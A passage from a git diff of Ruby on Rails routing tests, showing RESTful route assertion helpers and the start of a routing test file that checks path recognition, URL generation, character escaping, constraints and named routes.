+ assert_restful_named_routes_for controller_name, nil, options
+ end
+
+ def assert_singleton_restful_for(singleton_name, options = {})
+ assert_singleton_routes_for singleton_name, options
+ assert_singleton_named_routes_for singleton_name, options
+ end
+
+ def assert_restful_routes_for(controller_name, options = {})
+ options[:options] ||= {}
+ options[:options][:controller] = options[:controller] || controller_name.to_s
+
+ if options[:shallow]
+ options[:shallow_options] ||= {}
+ options[:shallow_options][:controller] = options[:options][:controller]
+ else
+ options[:shallow_options] = options[:options]
+ end
+
+ new_action = @routes.resources_path_names[:new] || "new"
+ edit_action = @routes.resources_path_names[:edit] || "edit"
+
+ if options[:path_names]
+ new_action = options[:path_names][:new] if options[:path_names][:new]
+ edit_action = options[:path_names][:edit] if options[:path_names][:edit]
+ end
+
+ path = "#{options[:as] || controller_name}"
+ collection_path = "/#{options[:path_prefix]}#{path}"
+ shallow_path = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
+ member_path = "#{shallow_path}/1"
+ new_path = "#{collection_path}/#{new_action}"
+ edit_member_path = "#{member_path}/#{edit_action}"
+ formatted_edit_member_path = "#{member_path}/#{edit_action}.xml"
+
+ with_options(options[:options]) do |controller|
+ controller.assert_routing collection_path, :action => 'index'
+ controller.assert_routing new_path, :action => 'new'
+ controller.assert_routing "#{collection_path}.xml", :action => 'index', :format => 'xml'
+ controller.assert_routing "#{new_path}.xml", :action => 'new', :format => 'xml'
+ end
+
+ with_options(options[:shallow_options]) do |controller|
+ controller.assert_routing member_path, :action => 'show', :id => '1'
+ controller.assert_routing edit_member_path, :action => 'edit', :id => '1'
+ controller.assert_routing "#{member_path}.xml", :action => 'show', :id => '1', :format => 'xml'
+ controller.assert_routing formatted_edit_member_path, :action => 'edit', :id => '1', :format => 'xml'
+ end
+
+ assert_recognizes(options[:options].merge(:action => 'index'), :path => collection_path, :method => :get)
+ assert_recognizes(options[:options].merge(:action => 'new'), :path => new_path, :method => :get)
+ assert_recognizes(options[:options].merge(:action => 'create'), :path => collection_path, :method => :post)
+ assert_recognizes(options[:shallow_options].merge(:action => 'show', :id => '1'), :path => member_path, :method => :get)
+ assert_recognizes(options[:shallow_options].merge(:action => 'edit', :id => '1'), :path => edit_member_path, :method => :get)
+ assert_recognizes(options[:shallow_options].merge(:action => 'update', :id => '1'), :path => member_path, :method => :put)
+ assert_recognizes(options[:shallow_options].merge(:action => 'destroy', :id => '1'), :path => member_path, :method => :delete)
+
+ assert_recognizes(options[:options].merge(:action => 'index', :format => 'xml'), :path => "#{collection_path}.xml", :method => :get)
+ assert_recognizes(options[:options].merge(:action => 'new', :format => 'xml'), :path => "#{new_path}.xml", :method => :get)
+ assert_recognizes(options[:options].merge(:action => 'create', :format => 'xml'), :path => "#{collection_path}.xml", :method => :post)
+ assert_recognizes(options[:shallow_options].merge(:action => 'show', :id => '1', :format => 'xml'), :path => "#{member_path}.xml", :method => :get)
+ assert_recognizes(options[:shallow_options].merge(:action => 'edit', :id => '1', :format => 'xml'), :path => formatted_edit_member_path, :method => :get)
+ assert_recognizes(options[:shallow_options].merge(:action => 'update', :id => '1', :format => 'xml'), :path => "#{member_path}.xml", :method => :put)
+ assert_recognizes(options[:shallow_options].merge(:action => 'destroy', :id => '1', :format => 'xml'), :path => "#{member_path}.xml", :method => :delete)
+
+ yield options[:options] if block_given?
+ end
+
+ # test named routes like foo_path and foos_path map to the correct options.
+ def assert_restful_named_routes_for(controller_name, singular_name = nil, options = {})
+ if singular_name.is_a?(Hash)
+ options = singular_name
+ singular_name = nil
+ end
+ singular_name ||= controller_name.to_s.singularize
+
+ options[:options] ||= {}
+ options[:options][:controller] = options[:controller] || controller_name.to_s
+
+ if options[:shallow]
+ options[:shallow_options] ||= {}
+ options[:shallow_options][:controller] = options[:options][:controller]
+ else
+ options[:shallow_options] = options[:options]
+ end
+
+ @controller = "#{options[:options][:controller].camelize}Controller".constantize.new
+ @controller.singleton_class.send(:include, @routes.url_helpers)
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ get :index, options[:options]
+ options[:options].delete :action
+
+ path = "#{options[:as] || controller_name}"
+ shallow_path = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
+ full_path = "/#{options[:path_prefix]}#{path}"
+ name_prefix = options[:name_prefix]
+ shallow_prefix = options[:shallow] ? options[:namespace].try(:gsub, /\//, '_') : options[:name_prefix]
+
+ new_action = "new"
+ edit_action = "edit"
+ if options[:path_names]
+ new_action = options[:path_names][:new] || "new"
+ edit_action = options[:path_names][:edit] || "edit"
+ end
+
+ assert_named_route "#{full_path}", "#{name_prefix}#{controller_name}_path", options[:options]
+ assert_named_route "#{full_path}.xml", "#{name_prefix}#{controller_name}_path", options[:options].merge(:format => 'xml')
+ assert_named_route "#{shallow_path}/1", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1')
+ assert_named_route "#{shallow_path}/1.xml", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml')
+
+ assert_named_route "#{full_path}/#{new_action}", "new_#{name_prefix}#{singular_name}_path", options[:options]
+ assert_named_route "#{full_path}/#{new_action}.xml", "new_#{name_prefix}#{singular_name}_path", options[:options].merge(:format => 'xml')
+ assert_named_route "#{shallow_path}/1/#{edit_action}", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1')
+ assert_named_route "#{shallow_path}/1/#{edit_action}.xml", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml')
+
+ yield options[:options] if block_given?
+ end
+
+ def assert_singleton_routes_for(singleton_name, options = {})
+ options[:options] ||= {}
+ options[:options][:controller] = options[:controller] || singleton_name.to_s.pluralize
+
+ full_path = "/#{options[:path_prefix]}#{options[:as] || singleton_name}"
+ new_path = "#{full_path}/new"
+ edit_path = "#{full_path}/edit"
+ formatted_edit_path = "#{full_path}/edit.xml"
+
+ with_options options[:options] do |controller|
+ controller.assert_routing full_path, :action => 'show'
+ controller.assert_routing new_path, :action => 'new'
+ controller.assert_routing edit_path, :action => 'edit'
+ controller.assert_routing "#{full_path}.xml", :action => 'show', :format => 'xml'
+ controller.assert_routing "#{new_path}.xml", :action => 'new', :format => 'xml'
+ controller.assert_routing formatted_edit_path, :action => 'edit', :format => 'xml'
+ end
+
+ assert_recognizes(options[:options].merge(:action => 'show'), :path => full_path, :method => :get)
+ assert_recognizes(options[:options].merge(:action => 'new'), :path => new_path, :method => :get)
+ assert_recognizes(options[:options].merge(:action => 'edit'), :path => edit_path, :method => :get)
+ assert_recognizes(options[:options].merge(:action => 'create'), :path => full_path, :method => :post)
+ assert_recognizes(options[:options].merge(:action => 'update'), :path => full_path, :method => :put)
+ assert_recognizes(options[:options].merge(:action => 'destroy'), :path => full_path, :method => :delete)
+
+ assert_recognizes(options[:options].merge(:action => 'show', :format => 'xml'), :path => "#{full_path}.xml", :method => :get)
+ assert_recognizes(options[:options].merge(:action => 'new', :format => 'xml'), :path => "#{new_path}.xml", :method => :get)
+ assert_recognizes(options[:options].merge(:action => 'edit', :format => 'xml'), :path => formatted_edit_path, :method => :get)
+ assert_recognizes(options[:options].merge(:action => 'create', :format => 'xml'), :path => "#{full_path}.xml", :method => :post)
+ assert_recognizes(options[:options].merge(:action => 'update', :format => 'xml'), :path => "#{full_path}.xml", :method => :put)
+ assert_recognizes(options[:options].merge(:action => 'destroy', :format => 'xml'), :path => "#{full_path}.xml", :method => :delete)
+
+ yield options[:options] if block_given?
+ end
+
+ def assert_singleton_named_routes_for(singleton_name, options = {})
+ (options[:options] ||= {})[:controller] ||= singleton_name.to_s.pluralize
+ @controller = "#{options[:options][:controller].camelize}Controller".constantize.new
+ @controller.singleton_class.send(:include, @routes.url_helpers)
+ @request = ActionController::TestRequest.new
+ @response = ActionController::TestResponse.new
+ get :show, options[:options]
+ options[:options].delete :action
+
+ full_path = "/#{options[:path_prefix]}#{options[:as] || singleton_name}"
+ name_prefix = options[:name_prefix]
+
+ assert_named_route "#{full_path}", "#{name_prefix}#{singleton_name}_path", options[:options]
+ assert_named_route "#{full_path}.xml", "#{name_prefix}#{singleton_name}_path", options[:options].merge(:format => 'xml')
+
+ assert_named_route "#{full_path}/new", "new_#{name_prefix}#{singleton_name}_path", options[:options]
+ assert_named_route "#{full_path}/new.xml", "new_#{name_prefix}#{singleton_name}_path", options[:options].merge(:format => 'xml')
+ assert_named_route "#{full_path}/edit", "edit_#{name_prefix}#{singleton_name}_path", options[:options]
+ assert_named_route "#{full_path}/edit.xml", "edit_#{name_prefix}#{singleton_name}_path", options[:options].merge(:format => 'xml')
+ end
+
+ def assert_named_route(expected, route, options)
+ actual = @controller.send(route, options) rescue $!.class.name
+ assert_equal expected, actual, "Error on route: #{route}(#{options.inspect})"
+ end
+
+ def assert_resource_methods(expected, resource, action_method, method)
+ assert_equal expected.length, resource.send("#{action_method}_methods")[method].size, "#{resource.send("#{action_method}_methods")[method].inspect}"
+ expected.each do |action|
+ assert resource.send("#{action_method}_methods")[method].include?(action)
+ "#{method} not in #{action_method} methods: #{resource.send("#{action_method}_methods")[method].inspect}"
+ end
+ end
+
+ def assert_resource_allowed_routes(controller, options, shallow_options, allowed, not_allowed, path = controller)
+ shallow_path = "#{path}/#{shallow_options[:id]}"
+ format = options[:format] && ".#{options[:format]}"
+ options.merge!(:controller => controller)
+ shallow_options.merge!(options)
+
+ assert_whether_allowed(allowed, not_allowed, options, 'index', "#{path}#{format}", :get)
+ assert_whether_allowed(allowed, not_allowed, options, 'new', "#{path}/new#{format}", :get)
+ assert_whether_allowed(allowed, not_allowed, options, 'create', "#{path}#{format}", :post)
+ assert_whether_allowed(allowed, not_allowed, shallow_options, 'show', "#{shallow_path}#{format}", :get)
+ assert_whether_allowed(allowed, not_allowed, shallow_options, 'edit', "#{shallow_path}/edit#{format}", :get)
+ assert_whether_allowed(allowed, not_allowed, shallow_options, 'update', "#{shallow_path}#{format}", :put)
+ assert_whether_allowed(allowed, not_allowed, shallow_options, 'destroy', "#{shallow_path}#{format}", :delete)
+ end
+
+ def assert_singleton_resource_allowed_routes(controller, options, allowed, not_allowed, path = controller.singularize)
+ format = options[:format] && ".#{options[:format]}"
+ options.merge!(:controller => controller)
+
+ assert_whether_allowed(allowed, not_allowed, options, 'new', "#{path}/new#{format}", :get)
+ assert_whether_allowed(allowed, not_allowed, options, 'create', "#{path}#{format}", :post)
+ assert_whether_allowed(allowed, not_allowed, options, 'show', "#{path}#{format}", :get)
+ assert_whether_allowed(allowed, not_allowed, options, 'edit', "#{path}/edit#{format}", :get)
+ assert_whether_allowed(allowed, not_allowed, options, 'update', "#{path}#{format}", :put)
+ assert_whether_allowed(allowed, not_allowed, options, 'destroy', "#{path}#{format}", :delete)
+ end
+
+ def assert_whether_allowed(allowed, not_allowed, options, action, path, method)
+ action = action.to_sym
+ options = options.merge(:action => action.to_s)
+ path_options = { :path => path, :method => method }
+
+ if Array(allowed).include?(action)
+ assert_recognizes options, path_options
+ elsif Array(not_allowed).include?(action)
+ assert_not_recognizes options, path_options
+ end
+ end
+
+ def assert_not_recognizes(expected_options, path)
+ assert_raise Assertion do
+ assert_recognizes(expected_options, path)
+ end
+ end
+end
diff --git a/actionpack/test/controller/routing_test.rb b/actionpack/test/controller/routing_test.rb
new file mode 100644
index 0000000..f735564
--- /dev/null
+++ b/actionpack/test/controller/routing_test.rb
@@ -0,0 +1,1921 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'controller/fake_controllers'
+require 'active_support/core_ext/object/with_options'
+
+class MilestonesController < ActionController::Base
+ def index() head :ok end
+ alias_method :show, :index
+end
+
+ROUTING = ActionDispatch::Routing
+
+# See RFC 3986, section 3.3 for allowed path characters.
+class UriReservedCharactersRoutingTest < ActiveSupport::TestCase
+ include RoutingTestHelpers
+
+ def setup
+ @set = ActionDispatch::Routing::RouteSet.new
+ @set.draw do
+ get ':controller/:action/:variable/*additional'
+ end
+
+ safe, unsafe = %w(: @ & = + $ , ;), %w(^ ? # [ ])
+ hex = unsafe.map { |char| '%' + char.unpack('H2').first.upcase }
+
+ @segment = "#{safe.join}#{unsafe.join}".freeze
+ @escaped = "#{safe.join}#{hex.join}".freeze
+ end
+
+ def test_route_generation_escapes_unsafe_path_characters
+ assert_equal "/content/act#{@escaped}ion/var#{@escaped}iable/add#{@escaped}itional-1/add#{@escaped}itional-2",
+ url_for(@set, {
+ :controller => "content",
+ :action => "act#{@segment}ion",
+ :variable => "var#{@segment}iable",
+ :additional => ["add#{@segment}itional-1", "add#{@segment}itional-2"]
+ })
+ end
+
+ def test_route_recognition_unescapes_path_components
+ options = { :controller => "content",
+ :action => "act#{@segment}ion",
+ :variable => "var#{@segment}iable",
+ :additional => "add#{@segment}itional-1/add#{@segment}itional-2" }
+ assert_equal options, @set.recognize_path("/content/act#{@escaped}ion/var#{@escaped}iable/add#{@escaped}itional-1/add#{@escaped}itional-2")
+ end
+
+ def test_route_generation_allows_passing_non_string_values_to_generated_helper
+ assert_equal "/content/action/variable/1/2",
+ url_for(@set, {
+ :controller => "content",
+ :action => "action",
+ :variable => "variable",
+ :additional => [1, 2]
+ })
+ end
+end
+
+class MockController
+ def self.build(helpers, additional_options = {})
+ Class.new do
+ define_method :url_options do
+ options = super()
+ options[:protocol] ||= "http"
+ options[:host] ||= "test.host"
+ options.merge(additional_options)
+ end
+
+ include helpers
+ end
+ end
+end
+
+class LegacyRouteSetTests < ActiveSupport::TestCase
+ include RoutingTestHelpers
+ include ActionDispatch::RoutingVerbs
+
+ attr_reader :rs
+ alias :routes :rs
+
+ def setup
+ @rs = ::ActionDispatch::Routing::RouteSet.new
+ @response = nil
+ end
+
+ def test_symbols_with_dashes
+ rs.draw do
+ get '/:artist/:song-omg', :to => lambda { |env|
+ resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ [200, {}, [resp]]
+ }
+ end
+
+ hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+ assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
+ end
+
+ def test_id_with_dash
+ rs.draw do
+ get '/journey/:id', :to => lambda { |env|
+ resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ [200, {}, [resp]]
+ }
+ end
+
+ hash = JSON.load get(URI('http://example.org/journey/faithfully-omg'))
+ assert_equal({"id"=>"faithfully-omg"}, hash)
+ end
+
+ def test_dash_with_custom_regexp
+ rs.draw do
+ get '/:artist/:song-omg', :constraints => { :song => /\d+/ }, :to => lambda { |env|
+ resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ [200, {}, [resp]]
+ }
+ end
+
+ hash = JSON.load get(URI('http://example.org/journey/123-omg'))
+ assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
+ assert_equal 'Not Found', get(URI('http://example.org/journey/faithfully-omg'))
+ end
+
+ def test_pre_dash
+ rs.draw do
+ get '/:artist/omg-:song', :to => lambda { |env|
+ resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ [200, {}, [resp]]
+ }
+ end
+
+ hash = JSON.load get(URI('http://example.org/journey/omg-faithfully'))
+ assert_equal({"artist"=>"journey", "song"=>"faithfully"}, hash)
+ end
+
+ def test_pre_dash_with_custom_regexp
+ rs.draw do
+ get '/:artist/omg-:song', :constraints => { :song => /\d+/ }, :to => lambda { |env|
+ resp = JSON.dump env[ActionDispatch::Routing::RouteSet::PARAMETERS_KEY]
+ [200, {}, [resp]]
+ }
+ end
+
+ hash = JSON.load get(URI('http://example.org/journey/omg-123'))
+ assert_equal({"artist"=>"journey", "song"=>"123"}, hash)
+ assert_equal 'Not Found', get(URI('http://example.org/journey/omg-faithfully'))
+ end
+
+ def test_star_paths_are_greedy
+ rs.draw do
+ get "/*path", :to => lambda { |env|
+ x = env["action_dispatch.request.path_parameters"][:path]
+ [200, {}, [x]]
+ }, :format => false
+ end
+
+ u = URI('http://example.org/foo/bar.html')
+ assert_equal u.path.sub(/^\//, ''), get(u)
+ end
+
+ def test_star_paths_are_greedy_but_not_too_much
+ rs.draw do
+ get "/*path", :to => lambda { |env|
+ x = JSON.dump env["action_dispatch.request.path_parameters"]
+ [200, {}, [x]]
+ }
+ end
+
+ expected = { "path" => "foo/bar", "format" => "html" }
+ u = URI('http://example.org/foo/bar.html')
+ assert_equal expected, JSON.parse(get(u))
+ end
+
+ def test_optional_star_paths_are_greedy
+ rs.draw do
+ get "/(*filters)", :to => lambda { |env|
+ x = env["action_dispatch.request.path_parameters"][:filters]
+ [200, {}, [x]]
+ }, :format => false
+ end
+
+ u = URI('http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794')
+ assert_equal u.path.sub(/^\//, ''), get(u)
+ end
+
+ def test_optional_star_paths_are_greedy_but_not_too_much
+ rs.draw do
+ get "/(*filters)", :to => lambda { |env|
+ x = JSON.dump env["action_dispatch.request.path_parameters"]
+ [200, {}, [x]]
+ }
+ end
+
+ expected = { "filters" => "ne_27.065938,-80.6092/sw_25.489856,-82",
+ "format" => "542794" }
+ u = URI('http://example.org/ne_27.065938,-80.6092/sw_25.489856,-82.542794')
+ assert_equal expected, JSON.parse(get(u))
+ end
+
+ def test_regexp_precidence
+ rs.draw do
+ get '/whois/:domain', :constraints => {
+ :domain => /\w+\.[\w\.]+/ },
+ :to => lambda { |env| [200, {}, %w{regexp}] }
+
+ get '/whois/:id', :to => lambda { |env| [200, {}, %w{id}] }
+ end
+
+ assert_equal 'regexp', get(URI('http://example.org/whois/example.org'))
+ assert_equal 'id', get(URI('http://example.org/whois/123'))
+ end
+
+ def test_class_and_lambda_constraints
+ subdomain = Class.new {
+ def matches? request
+ request.subdomain.present? and request.subdomain != 'clients'
+ end
+ }
+
+ rs.draw do
+ get '/', :constraints => subdomain.new,
+ :to => lambda { |env| [200, {}, %w{default}] }
+ get '/', :constraints => { :subdomain => 'clients' },
+ :to => lambda { |env| [200, {}, %w{clients}] }
+ end
+
+ assert_equal 'default', get(URI('http://www.example.org/'))
+ assert_equal 'clients', get(URI('http://clients.example.org/'))
+ end
+
+ def test_lambda_constraints
+ rs.draw do
+ get '/', :constraints => lambda { |req|
+ req.subdomain.present? and req.subdomain != "clients" },
+ :to => lambda { |env| [200, {}, %w{default}] }
+
+ get '/', :constraints => lambda { |req|
+ req.subdomain.present? && req.subdomain == "clients" },
+ :to => lambda { |env| [200, {}, %w{clients}] }
+ end
+
+ assert_equal 'default', get(URI('http://www.example.org/'))
+ assert_equal 'clients', get(URI('http://clients.example.org/'))
+ end
+
+ def test_empty_string_match
+ rs.draw do
+ get '/:username', :constraints => { :username => /[^\/]+/ },
+ :to => lambda { |e| [200, {}, ['foo']] }
+ end
+ assert_equal 'Not Found', get(URI('http://example.org/'))
+ assert_equal 'foo', get(URI('http://example.org/hello'))
+ end
+
+ def test_non_greedy_glob_regexp
+ params = nil
+ rs.draw do
+ get '/posts/:id(/*filters)', :constraints => { :filters => /.+?/ },
+ :to => lambda { |e|
+ params = e["action_dispatch.request.path_parameters"]
+ [200, {}, ['foo']]
+ }
+ end
+ assert_equal 'foo', get(URI('http://example.org/posts/1/foo.js'))
+ assert_equal({:id=>"1", :filters=>"foo", :format=>"js"}, params)
+ end
+
+ def test_draw_with_block_arity_one_raises
+ assert_raise(RuntimeError) do
+ rs.draw { |map| map.match '/:controller(/:action(/:id))' }
+ end
+ end
+
+ def test_specific_controller_action_failure
+ rs.draw do
+ mount lambda {} => "/foo"
+ end
+
+ assert_raises(ActionController::UrlGenerationError) do
+ url_for(rs, :controller => "omg", :action => "lol")
+ end
+ end
+
+ def test_default_setup
+ rs.draw { get '/:controller(/:action(/:id))' }
+ assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/content"))
+ assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/content/list"))
+ assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/content/show/10"))
+
+ assert_equal({:controller => "admin/user", :action => 'show', :id => '10'}, rs.recognize_path("/admin/user/show/10"))
+
+ assert_equal '/admin/user/show/10', url_for(rs, { :controller => 'admin/user', :action => 'show', :id => 10 })
+
+ assert_equal '/admin/user/show', url_for(rs, { :action => 'show' }, { :controller => 'admin/user', :action => 'list', :id => '10' })
+ assert_equal '/admin/user/list/10', url_for(rs, {}, { :controller => 'admin/user', :action => 'list', :id => '10' })
+
+ assert_equal '/admin/stuff', url_for(rs, { :controller => 'stuff' }, { :controller => 'admin/user', :action => 'list', :id => '10' })
+ assert_equal '/stuff', url_for(rs, { :controller => '/stuff' }, { :controller => 'admin/user', :action => 'list', :id => '10' })
+ end
+
+ def test_ignores_leading_slash
+ rs.clear!
+ rs.draw { get '/:controller(/:action(/:id))'}
+ test_default_setup
+ end
+
+ def test_route_with_colon_first
+ rs.draw do
+ get '/:controller/:action/:id', :action => 'index', :id => nil
+ get ':url', :controller => 'tiny_url', :action => 'translate'
+ end
+ end
+
+ def test_route_with_regexp_for_controller
+ rs.draw do
+ get ':controller/:admintoken(/:action(/:id))', :controller => /admin\/.+/
+ get '/:controller(/:action(/:id))'
+ end
+
+ assert_equal({:controller => "admin/user", :admintoken => "foo", :action => "index"},
+ rs.recognize_path("/admin/user/foo"))
+ assert_equal({:controller => "content", :action => "foo"},
+ rs.recognize_path("/content/foo"))
+
+ assert_equal '/admin/user/foo', url_for(rs, { :controller => "admin/user", :admintoken => "foo", :action => "index" })
+ assert_equal '/content/foo', url_for(rs, { :controller => "content", :action => "foo" })
+ end
+
+ def test_route_with_regexp_and_captures_for_controller
+ rs.draw do
+ get '/:controller(/:action(/:id))', :controller => /admin\/(accounts|users)/
+ end
+ assert_equal({:controller => "admin/accounts", :action => "index"}, rs.recognize_path("/admin/accounts"))
+ assert_equal({:controller => "admin/users", :action => "index"}, rs.recognize_path("/admin/users"))
+ assert_raise(ActionController::RoutingError) { rs.recognize_path("/admin/products") }
+ end
+
+ def test_route_with_regexp_and_dot
+ rs.draw do
+ get ':controller/:action/:file',
+ :controller => /admin|user/,
+ :action => /upload|download/,
+ :defaults => {:file => nil},
+ :constraints => {:file => %r{[^/]+(\.[^/]+)?}}
+ end
+ # Without a file extension
+ assert_equal '/user/download/file',
+ url_for(rs, { :controller => "user", :action => "download", :file => "file" })
+
+ assert_equal({:controller => "user", :action => "download", :file => "file"},
+ rs.recognize_path("/user/download/file"))
+
+ # Now, let's try a file with an extension, really a dot (.)
+ assert_equal '/user/download/file.jpg',
+ url_for(rs, { :controller => "user", :action => "download", :file => "file.jpg" })
+
+ assert_equal({:controller => "user", :action => "download", :file => "file.jpg"},
+ rs.recognize_path("/user/download/file.jpg"))
+ end
+
+ def test_basic_named_route
+ rs.draw do
+ root :to => 'content#list', :as => 'home'
+ end
+ assert_equal("http://test.host/", setup_for_named_route.send(:home_url))
+ end
+
+ def test_named_route_with_option
+ rs.draw do
+ get 'page/:title' => 'content#show_page', :as => 'page'
+ end
+
+ assert_equal("http://test.host/page/new%20stuff",
+ setup_for_named_route.send(:page_url, :title => 'new stuff'))
+ end
+
+ def test_named_route_with_default
+ rs.draw do
+ get 'page/:title' => 'content#show_page', :title => 'AboutPage', :as => 'page'
+ end
+
+ assert_equal("http://test.host/page/AboutRails",
+ setup_for_named_route.send(:page_url, :title => "AboutRails"))
+ end
+
+ def test_named_route_with_path_prefix
+ rs.draw do
+ scope "my" do
+ get 'page' => 'content#show_page', :as => 'page'
+ end
+ end
+
+ assert_equal("http://test.host/my/page",
+ setup_for_named_route.send(:page_url))
+ end
+
+ def test_named_route_with_blank_path_prefix
+ rs.draw do
+ scope "" do
+ get 'page' => 'content#show_page', :as => 'page'
+ end
+ end
+
+ assert_equal("http://test.host/page",
+ setup_for_named_route.send(:page_url))
+ end
+
+ def test_named_route_with_nested_controller
+ rs.draw do
+ get 'admin/user' => 'admin/user#index', :as => "users"
+ end
+
+ assert_equal("http://test.host/admin/user",
+ setup_for_named_route.send(:users_url))
+ end
+
+ def test_optimised_named_route_with_host
+ rs.draw do
+ get 'page' => 'content#show_page', :as => 'pages', :host => 'foo.com'
+ end
+ routes = setup_for_named_route
+ routes.expects(:url_for).with({
+ :host => 'foo.com',
+ :only_path => false,
+ :controller => 'content',
+ :action => 'show_page',
+ :use_route => 'pages'
+ }).once
+ routes.send(:pages_url)
+ end
+
+ def setup_for_named_route(options = {})
+ MockController.build(rs.url_helpers, options).new
+ end
+
+ def test_named_route_without_hash
+ rs.draw do
+ get ':controller/:action/:id', :as => 'normal'
+ end
+ end
+
+ def test_named_route_root
+ rs.draw do
+ root :to => "hello#index"
+ end
+ routes = setup_for_named_route
+ assert_equal("http://test.host/", routes.send(:root_url))
+ assert_equal("/", routes.send(:root_path))
+ end
+
+ def test_named_route_root_without_hash
+ rs.draw do
+ root "hello#index"
+ end
+ routes = setup_for_named_route
+ assert_equal("http://test.host/", routes.send(:root_url))
+ assert_equal("/", routes.send(:root_path))
+ end
+
+ def test_named_route_root_with_hash
+ rs.draw do
+ root "hello#index", as: :index
+ end
+
+ routes = setup_for_named_route
+ assert_equal("http://test.host/", routes.send(:index_url))
+ assert_equal("/", routes.send(:index_path))
+ end
+
+ def test_root_without_path_raises_argument_error
+ assert_raises ArgumentError do
+ rs.draw { root nil }
+ end
+ end
+
+ def test_named_route_root_with_trailing_slash
+ rs.draw do
+ root "hello#index"
+ end
+
+ routes = setup_for_named_route(trailing_slash: true)
+ assert_equal("http://test.host/", routes.send(:root_url))
+ assert_equal("http://test.host/?foo=bar", routes.send(:root_url, foo: :bar))
+ end
+
+ def test_named_route_with_regexps
+ rs.draw do
+ get 'page/:year/:month/:day/:title' => 'page#show', :as => 'article',
+ :year => /\d+/, :month => /\d+/, :day => /\d+/
+ get ':controller/:action/:id'
+ end
+
+ routes = setup_for_named_route
+
+ assert_equal "http://test.host/page/2005/6/10/hi",
+ routes.send(:article_url, :title => 'hi', :day => 10, :year => 2005, :month => 6)
+ end
+
+ def test_changing_controller
+ rs.draw { get ':controller/:action/:id' }
+
+ assert_equal '/admin/stuff/show/10',
+ url_for(rs, {:controller => 'stuff', :action => 'show', :id => 10},
+ {:controller => 'admin/user', :action => 'index'})
+ end
+
+ def test_paths_escaped
+ rs.draw do
+ get 'file/*path' => 'content#show_file', :as => 'path'
+ get ':controller/:action/:id'
+ end
+
+ # No + to space in URI escaping, only for query params.
+ results = rs.recognize_path "/file/hello+world/how+are+you%3F"
+ assert results, "Recognition should have succeeded"
+ assert_equal 'hello+world/how+are+you?', results[:path]
+
+ # Use %20 for space instead.
+ results = rs.recognize_path "/file/hello%20world/how%20are%20you%3F"
+ assert results, "Recognition should have succeeded"
+ assert_equal 'hello world/how are you?', results[:path]
+ end
+
+ def test_paths_slashes_unescaped_with_ordered_parameters
+ rs.draw do
+ get '/file/*path' => 'content#index', :as => 'path'
+ end
+
+ # No / to %2F in URI, only for query params.
+ assert_equal("/file/hello/world", setup_for_named_route.send(:path_path, ['hello', 'world']))
+ end
+
+ def test_non_controllers_cannot_be_matched
+ rs.draw do
+ get ':controller/:action/:id'
+ end
+ assert_raise(ActionController::RoutingError) { rs.recognize_path("/not_a/show/10") }
+ end
+
+ def test_should_list_options_diff_when_routing_constraints_dont_match
+ rs.draw do
+ get 'post/:id' => 'post#show', :constraints => { :id => /\d+/ }, :as => 'post'
+ end
+ assert_raise(ActionController::UrlGenerationError) do
+ url_for(rs, { :controller => 'post', :action => 'show', :bad_param => "foo", :use_route => "post" })
+ end
+ end
+
+ def test_dynamic_path_allowed
+ rs.draw do
+ get '*path' => 'content#show_file'
+ end
+
+ assert_equal '/pages/boo',
+ url_for(rs, { :controller => 'content', :action => 'show_file', :path => %w(pages boo) })
+ end
+
+ def test_dynamic_recall_paths_allowed
+ rs.draw do
+ get '*path' => 'content#show_file'
+ end
+
+ assert_equal '/pages/boo',
+ url_for(rs, {}, { :controller => 'content', :action => 'show_file', :path => %w(pages boo) })
+ end
+
+ def test_backwards
+ rs.draw do
+ get 'page/:id(/:action)' => 'pages#show'
+ get ':controller(/:action(/:id))'
+ end
+
+ assert_equal '/page/20', url_for(rs, { :id => 20 }, { :controller => 'pages', :action => 'show' })
+ assert_equal '/page/20', url_for(rs, { :controller => 'pages', :id => 20, :action => 'show' })
+ assert_equal '/pages/boo', url_for(rs, { :controller => 'pages', :action => 'boo' })
+ end
+
+ def test_route_with_fixnum_default
+ rs.draw do
+ get 'page(/:id)' => 'content#show_page', :id => 1
+ get ':controller/:action/:id'
+ end
+
+ assert_equal '/page', url_for(rs, { :controller => 'content', :action => 'show_page' })
+ assert_equal '/page', url_for(rs, { :controller => 'content', :action => 'show_page', :id => 1 })
+ assert_equal '/page', url_for(rs, { :controller => 'content', :action => 'show_page', :id => '1' })
+ assert_equal '/page/10', url_for(rs, { :controller => 'content', :action => 'show_page', :id => 10 })
+
+ assert_equal({:controller => "content", :action => 'show_page', :id => 1 }, rs.recognize_path("/page"))
+ assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page/1"))
+ assert_equal({:controller => "content", :action => 'show_page', :id => '10'}, rs.recognize_path("/page/10"))
+ end
+
+ # For newer revision
+ def test_route_with_text_default
+ rs.draw do
+ get 'page/:id' => 'content#show_page', :id => 1
+ get ':controller/:action/:id'
+ end
+
+ assert_equal '/page/foo', url_for(rs, { :controller => 'content', :action => 'show_page', :id => 'foo' })
+ assert_equal({ :controller => "content", :action => 'show_page', :id => 'foo' }, rs.recognize_path("/page/foo"))
+
+ token = "\321\202\320\265\320\272\321\201\321\202" # 'text' in Russian
+ token.force_encoding(Encoding::BINARY)
+ escaped_token = CGI::escape(token)
+
